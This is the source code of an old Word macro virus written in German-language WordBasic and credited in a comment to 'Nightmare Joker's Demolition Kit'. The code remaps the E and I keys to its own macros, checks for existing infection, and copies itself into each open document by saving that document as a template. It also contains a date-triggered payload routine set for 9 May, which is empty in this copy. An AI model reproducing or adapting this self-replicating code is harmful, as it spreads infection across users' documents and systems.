Sub MAIN
On Error Goto Finish

ExtrasAnpassenTastatur .TastenSchlssel = 69, .Kategorie = 2, .Name = "XxGRUNTxX1", .Hinzufgen, .Kontext = 0
ExtrasAnpassenTastatur .TastenSchlssel = 69, .Kategorie = 2, .Name = "XxGRUNTxX1", .Hinzufgen, .Kontext = 1
ExtrasAnpassenTastatur .TastenSchlssel = 73, .Kategorie = 2, .Name = "XxGRUNTxX2", .Hinzufgen, .Kontext = 0
ExtrasAnpassenTastatur .TastenSchlssel = 73, .Kategorie = 2, .Name = "XxGRUNTxX2", .Hinzufgen, .Kontext = 1

VM1$ = FensterName$() + ":XxGRUNTxX1"
VM2$ = FensterName$() + ":XxGRUNTxX2"

If VInstalled = 1 Then
	Goto Finish
Else
	On Error Resume Next
	DateiSpeichernUnter .Format = 1
	MakroKopieren "Global:XxGRUNTxX1", VM1$, 1
	MakroKopieren "Global:XxGRUNTxX2", VM2$, 1
	DateiAllesSpeichern 1, 0
End If

Finish:
A$ = DateiName$()
If A$ = "" Then
	Goto Finito
Else
	Einfgen "e"
End If

Finito:
If Monat(Jetzt()) = 5 And Tag(Jetzt()) = 9 Then
	Payload
Else
	Goto EndOne
End If

EndOne:
End Sub

Function VInstalled
	VInstalled = 0
	If ZhlenMakros(1) > 0 Then
		For i = 1 To ZhlenMakros(1)
			If MakroName$(i, 1) = "XxGRUNTxX1" Then
				VInstalled = 1
			End If
		Next i
	End If
End Function

Sub Payload

REM A Virus from Nightmare Joker's Demolition Kit!


End Sub
